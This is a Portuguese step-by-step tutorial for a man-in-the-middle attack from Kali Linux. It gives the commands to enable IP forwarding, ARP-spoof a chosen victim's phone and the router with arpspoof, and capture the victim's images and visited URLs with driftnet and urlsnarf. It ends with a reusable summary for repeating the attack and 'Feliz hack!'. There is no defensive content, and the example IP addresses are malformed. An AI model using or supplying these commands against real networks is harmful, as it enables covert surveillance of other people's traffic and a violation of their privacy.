ataque Man-in-the-middle (MITM) com o Kali Linux
Requisitos
Este artigo pressupõe que você saiba o que é uma interface de rede e saiba como
trabalhar com o Kali Linux
e a linha de comando. Antes de começar, você precisará saber o nome da interface de
rede (instalada em sua máquina)
e o IP do roteador que fornece acesso Wi-Fi.
Informações necessárias do invasor Valor de exemplo (você precisa substituir esses
valores)
Nome da interface de rede wlan0 IP do roteador 192.000.000.1
O nome da interface de rede pode ser facilmente obtido executando o ifconfigcomando
em um terminal e, a partir da lista,
copie o nome da interface que você deseja usar. O IP do roteador pode ser obtido
executando ip route showem um terminal
e uma mensagem como "default via [This is the router IP]" .
Da vítima, você precisará apenas do IP (o usuário precisa estar conectado à rede
fornecida pelo roteador). O processo de
obtenção do IP do dispositivo da vítima fica totalmente a seu critério, existem
muitas maneiras de saber, por exemplo
existem programas de interface de usuário de roteadores/gatefays que listam todos
os dispositivos conectados
(com IPs na lista) ou apenas use uma ferramenta de software de monitoramento de
rede.
Informações Necessárias da Vítima Valor de exemplo (você precisa substituir esses
valores)
IP do dispositivo da vítima 192.000.000.52
Como estamos nos hackeando neste artigo, podemos obter facilmente essas informações
diretamente do nosso dispositivo:
Vamos realizar um ataque MITM a um Samsung Galaxy S7 (conectado ao roteador
(roteador ip 192.000.000.1) com IP 192.000.000.52)
que usa o Google Chrome e navegará por diferentes sites para mostrar se o ataque
realmente funciona ou não. Depois
de coletar todas as informações necessárias, vamos começar!
1. Habilite o encaminhamento de pacotes no Linux
A primeira coisa que você precisa fazer é encaminhar todos os pacotes de rede IPv4.
Desta forma, sua máquina funcionará
como um roteador. Execute o seguinte comando em um novo terminal:
sysctl -w net.ipv4.ip_forward=1
Observação
Se sua máquina não estiver encaminhando os pacotes, a conexão de internet do
usuário irá congelar e, portanto,
o ataque será inútil.
2. Interceptar pacotes da vítima com arpspoof
arpspoof é um utilitário de linha de comando que permite interceptar pacotes em uma
LAN comutada. Ele redireciona
também pacotes de um host de destino (ou de todos os hosts) na LAN destinados a
outro host na LAN forjando respostas
ARP. Esta é uma maneira extremamente eficaz de farejar o tráfego em um switch. A
estrutura do comando para começar a
interceptar pacotes da vítima para o roteador é a seguinte:
arpspoof -i [Network Interface Name] -t [Victim IP] [Router IP]
Então, com nossos valores, o comando deve se parecer com:
Importante
Execute seu comando em um novo terminal e deixe-o em execução (não o feche até que
você queira parar o ataque).
arpspoof -i wlan0 -t 192.000.000.52 192.000.000.1
Esse processo monitorará o fluxo de pacotes da vítima para o roteador.
3. Interceptar pacotes do roteador com arpspoof
Agora que você está interceptando pacotes da vítima para o roteador (executando em
um terminal), você precisa
interceptar os pacotes da vítima para o roteador com arpspoof. A estrutura do
comando para começar a interceptar
pacotes do roteador para a vítima é a seguinte:
arpspoof -i [Network Interface Name] -t [Router IP] [Victim IP]
Então, com nossos valores, o comando deve se parecer com:
Importante
Execute seu comando em um novo terminal e deixe-o em execução (não o feche até que
você queira parar o ataque).
arpspoof -i wlan0 -t 192.000.000.1 192.000.000.52
Como você pode ver, é o mesmo comando do passo anterior mas trocamos a posição dos
argumentos. Até este ponto, você já está infiltrado na conexão entre sua vítima e o
roteador. Agora você só precisa aprender a ler esses pacotes usando driftnet e
urlsnarf.
4. Sniff imagens da navegação da vítima
Para ver as imagens de sites que nossa vítima visita, você precisa usar a driftnet.
Driftnet é um programa que escuta o tráfego de rede e seleciona imagens de fluxos
TCP que observa. Divertido de rodar em um host que vê muito tráfego na web. A
estrutura do comando para iniciar a driftnet e ver as imagens que o usuário vê nos
sites é a seguinte:
driftnet -i [Network Interface Name]
Observação
Se sua máquina não estiver encaminhando os pacotes, a conexão de internet do
usuário irá congelar e, portanto, o ataque será inútil.
Com as informações que temos, nosso comando deve ficar assim:
driftnet -i wlan0
5. Snifar informações de URLs da navegação da vítima
Para obter informações sobre os sites que nossa vítima visita, você pode usar
urlsnarf para isso. É uma ferramenta de linha de comando que detecta solicitações
HTTP no formato de log comum. Ele gera todos os URLs solicitados rastreados do
tráfego HTTP em CLF (Common Log Format, usado por quase todos os servidores da
Web), adequado para pós-processamento offline com sua ferramenta de análise de log
da Web favorita (analógico, wwwstat, etc.). A estrutura do comando para farejar as
URLs que sua vítima visita é a seguinte:
urlsnarf -i [Network interface name]
Neste caso, com as informações que temos, o comando a ser executado ficará assim:
Observação
Se sua máquina não estiver encaminhando os pacotes, a conexão de internet do
usuário irá congelar e, portanto, o ataque será inútil.
urlsnarf -i wlan0
Parabéns, se você seguiu todas as etapas cuidadosamente, agora deve estar farejando
informações sobre o alvo que escolheu com um ataque MITM. Assim que sua vítima
visitar um site, você poderá ler informações sobre suas ações na internet. Para
interromper o ataque, pressione CTRL+ Cem todos os terminais em que qualquer
processo que você abriu esteja em execução.
6. Desabilite o encaminhamento de pacotes (somente quando seu ataque terminar)
Assim que terminar seu ataque (você não quer mais sniffar), lembre-se de
desabilitar o encaminhamento de pacotes no sistema novamente executando o seguinte
comando em um terminal:
sysctl -w net.ipv4.ip_forward=0
Resumo
Se você já seguiu o tutorial, fez tudo certo e funcionou como esperado, então siga
o resumo do processo na próxima vez que quiser fazer isso:
# Enable port forwarding
sysctl -w net.ipv4.ip_forward=1
# Spoof connection between Victim and Router
# Note: Run this command in a new terminal and let it running
arpspoof -i [Network Interface Name] -t [Victim IP] [Router IP]
# Same step but inverted (nope, it's not the same ...)
# Note: Run this command in a new terminal and let it running
arpspoof -i [Network Interface Name] -t [Router IP] [Victim IP]
# Execute driftnet to sniff images
# Note: Run this command in a new terminal and let it running
driftnet -i [Network Interface Name]
# Sniff URL traffic of the victim
# Note: Run this command in a new terminal and let it running
urlsnarf -i [Network Interface Name]
# Disable port forwarding once you're done with the attack
sysctl -w net.ipv4.ip_forward=0
# Examples for values
# [Network Interface Name] = wlan0
# [Victim IP] = 192.000.xx
# [Router IP] = 192.000.1
Feliz hack!